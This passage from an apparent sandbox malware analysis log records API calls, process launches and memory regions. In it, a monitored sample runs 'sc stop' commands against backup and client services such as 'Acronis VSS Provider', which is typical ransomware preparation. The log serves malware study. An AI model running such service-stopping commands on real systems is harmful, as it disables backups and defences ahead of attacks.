lpReturnSize=0x0 | out: lpAttributeList=0x26f294, lpPreviousValue=0x0) returned 1 [0057.833] GetStartupInfoW (in: lpStartupInfo=0x26f250 | out: lpStartupInfo=0x26f250*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x5719d4, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0057.833] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0057.835] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc stop \"Acronis VSS Provider\" /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x26f2f0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc stop \"Acronis VSS Provider\" /y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26f33c | out: lpCommandLine="sc stop \"Acronis VSS Provider\" /y", lpProcessInformation=0x26f33c*(hProcess=0x7c, hThread=0x78, dwProcessId=0x7ec, dwThreadId=0x7e4)) returned 1 [0058.805] CloseHandle (hObject=0x78) returned 1 [0058.805] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0058.805] GetEnvironmentStringsW () returned 0x584de0* [0058.806] FreeEnvironmentStringsW (penv=0x584de0) returned 1 [0058.806] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0059.873] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x26f230 | out: lpExitCode=0x26f230*=0x424) returned 1 [0059.873] CloseHandle (hObject=0x7c) returned 1 [0059.873] _vsnwprintf (in: _Buffer=0x26f378, _BufferCount=0x13, _Format="%08X", _ArgList=0x26f23c | out: _Buffer="00000424") returned 8 [0059.873] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0059.873] GetEnvironmentStringsW () returned 0x586198* [0059.873] FreeEnvironmentStringsW (penv=0x586198) returned 1 [0059.873] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0059.873] GetEnvironmentStringsW () returned 0x586198* [0059.873] FreeEnvironmentStringsW (penv=0x586198) returned 1 [0059.873] DeleteProcThreadAttributeList (in: lpAttributeList=0x26f294 | out: lpAttributeList=0x26f294) [0059.873] _get_osfhandle (_FileHandle=1) returned 0x7 [0059.873] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0059.874] _get_osfhandle (_FileHandle=1) returned 0x7 [0059.874] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49f841ac | out: lpMode=0x49f841ac) returned 1 [0059.874] _get_osfhandle (_FileHandle=0) returned 0x3 [0059.874] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49f841b0 | out: lpMode=0x49f841b0) returned 1 [0059.874] SetConsoleInputExeNameW () returned 0x1 [0059.874] GetConsoleOutputCP () returned 0x1b5 [0059.874] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f84260 | out: lpCPInfo=0x49f84260) returned 1 [0059.874] SetThreadUILanguage (LangId=0x0) returned 0x409 [0059.874] exit (_Code=1060) Process: id = "41" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x170a6000" os_pid = "0x7ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x69c" cmd_line = "sc stop \"Acronis VSS Provider\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2775 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2776 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2777 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2778 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2779 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2780 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2781 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2782 start_va = 0xed0000 end_va = 0xedbfff entry_point = 0xed0000 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\SysWOW64\\sc.exe" (normalized: "c:\\windows\\syswow64\\sc.exe") Region: id = 2783 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2784 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2785 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2786 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2787 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2788 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2789 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2790 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2791 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2792 start_va = 0x440000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2793 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2794 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2795 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2796 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2797 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2798 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2799 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2800 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2801 start_va = 0x3e0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 2802 start_va = 0x6b0000 end_va = 0x7affff entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 2803 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2804 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2805 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2806 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2807 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2808 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2809 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2810 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2811 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2812 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2813 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2814 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2815 start_va = 0x130000 end_va = 0x1effff entry_point = 0x130000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2816 start_va = 0x1f0000 end_va = 0x1fffff entry_point = 0x1f0000 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\sc.exe.mui") Thread: id = 120 os_tid = 0x7e4 [0058.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x8f8a4 | out: lpSystemTimeAsFileTime=0x8f8a4*(dwLowDateTime=0xde38e620, dwHighDateTime=0x1d4abdd)) [0058.927] GetCurrentProcessId () returned 0x7ec [0058.928] GetCurrentThreadId () returned 0x7e4 [0058.928] GetTickCount () returned 0x1c4a5 [0058.928] QueryPerformanceCounter (in: lpPerformanceCount=0x8f89c | out: lpPerformanceCount=0x8f89c*=1813415800000) returned 1 [0058.928] GetModuleHandleA (lpModuleName=0x0) returned 0xed0000 [0058.928] __set_app_type (_Type=0x1) [0058.928] __p__fmode () returned 0x75ed31f4 [0058.928] __p__commode () returned 0x75ed31fc [0058.928] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xed79c7) returned 0x0 [0058.928] __wgetmainargs (in: _Argc=0xed9020, _Argv=0xed9028, _Env=0xed9024, _DoWildCard=0, _StartInfo=0xed9034 | out: _Argc=0xed9020, _Argv=0xed9028, _Env=0xed9024) returned 0 [0058.929] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.932] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.932] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0058.932] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0058.932] _wcsicmp (_String1="stop", _String2="query") returned 2 [0058.932] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0058.932] _wcsicmp (_String1="stop", _String2="start") returned 14 [0058.932] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0058.932] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0058.933] _wcsicmp (_String1="stop", _String2="control") returned 16 [0058.933] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0058.933] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0058.933] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x6bf7a8 [0058.936] OpenServiceW (hSCManager=0x6bf7a8, lpServiceName="Acronis VSS Provider", dwDesiredAccess=0x20) returned 0x0 [0058.936] GetLastError () returned 0x424 [0058.936] _itow (in: _Dest=0x424, _Radix=587580 | out: _Dest=0x424) returned="1060" [0058.936] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xed9380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0058.938] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x8f724, nSize=0x2, Arguments=0x8f730 | out: lpBuffer="ᨘl\x01") returned 0x62 [0059.866] GetFileType (hFile=0x7) returned 0x2 [0059.866] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x8f6f8 | out: lpMode=0x8f6f8) returned 1 [0059.866] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6c1a18*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x8f714, lpReserved=0x0 | out: lpBuffer=0x6c1a18*, lpNumberOfCharsWritten=0x8f714*=0x62) returned 1 [0059.867] LocalFree (hMem=0x6c1a18) returned 0x0 [0059.867] LocalFree (hMem=0x0) returned 0x0 [0059.867] CloseServiceHandle (hSCObject=0x6bf7a8) returned 1 [0059.868] exit (_Code=1060) Thread: id = 121 os_tid = 0x57c Process: id = "42" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x7a9f5000" os_pid = "0x770" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c sc stop \"Enterprise Client Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2817 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2818 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2819 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2820 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2821 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2822 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2823 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2824 start_va = 0x4a0c0000 end_va = 0x4a10bfff entry_point = 0x4a0c0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 2825 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2826 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2827 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2828 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2829 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2830 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2831 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2832 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2833 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2834 start_va = 0x90000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2835 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2836 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2837 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2838 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2839 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2840 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2841 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2842 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2843 start_va = 0x1d0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2844 start_va = 0x3a0000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2845 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 2846 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2847 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2848 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2849 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2850 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2851 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2852 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2853 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2854 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2855 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2856 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2857 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2858 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2859 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2860 start_va = 0x4a0000 end_va = 0x627fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 2861 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2862 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2863 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2864 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2865 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2866 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2867 start_va = 0x630000 end_va = 0x7b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2868 start_va = 0x7c0000 end_va = 0x1bbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 2869 start_va = 0x1bc0000 end_va = 0x1f02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001bc0000" filename = "" Region: id = 2870 start_va = 0x1f10000 end_va = 0x21defff entry_point = 0x1f10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 122 os_tid = 0x774 [0060.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x37fd74 | out: lpSystemTimeAsFileTime=0x37fd74*(dwLowDateTime=0xde935a60, dwHighDateTime=0x1d4abdd)) [0060.004] GetCurrentProcessId () returned 0x770 [0060.004] GetCurrentThreadId () returned 0x774 [0060.004] GetTickCount () returned 0x1c6f6 [0060.004] QueryPerformanceCounter (in: lpPerformanceCount=0x37fd6c | out: lpPerformanceCount=0x37fd6c*=1813523400000) returned 1 [0060.005] GetModuleHandleA (lpModuleName=0x0) returned 0x4a0c0000 [0060.005] __set_app_type (_Type=0x1) [0060.005] __p__fmode () returned 0x75ed31f4 [0060.005] __p__commode () returned 0x75ed31fc [0060.005] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0e21a6) returned 0x0 [0060.006] __getmainargs (in: _Argc=0x4a0e4238, _Argv=0x4a0e4240, _Env=0x4a0e423c, _DoWildCard=0, _StartInfo=0x4a0e4140 | out: _Argc=0x4a0e4238, _Argv=0x4a0e4240, _Env=0x4a0e423c) returned 0 [0060.006] GetCurrentThreadId () returned 0x774 [0060.006] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x774) returned 0x60 [0060.006] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0060.006] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0060.006] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.007] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0060.007] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x37fd04 | out: phkResult=0x37fd04*=0x0) returned 0x2 [0060.007] VirtualQuery (in: lpAddress=0x37fd3b, lpBuffer=0x37fcd4, dwLength=0x1c | out: lpBuffer=0x37fcd4*(BaseAddress=0x37f000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.007] VirtualQuery (in: lpAddress=0x280000, lpBuffer=0x37fcd4, dwLength=0x1c | out: lpBuffer=0x37fcd4*(BaseAddress=0x280000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0060.007] VirtualQuery (in: lpAddress=0x281000, lpBuffer=0x37fcd4, dwLength=0x1c | out: lpBuffer=0x37fcd4*(BaseAddress=0x281000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0060.008] VirtualQuery (in: lpAddress=0x283000, lpBuffer=0x37fcd4, dwLength=0x1c | out: lpBuffer=0x37fcd4*(BaseAddress=0x283000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.008] 